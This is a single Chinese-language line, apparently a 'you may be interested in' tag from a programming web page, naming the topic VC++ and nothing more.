你可能感兴趣的:(VC++)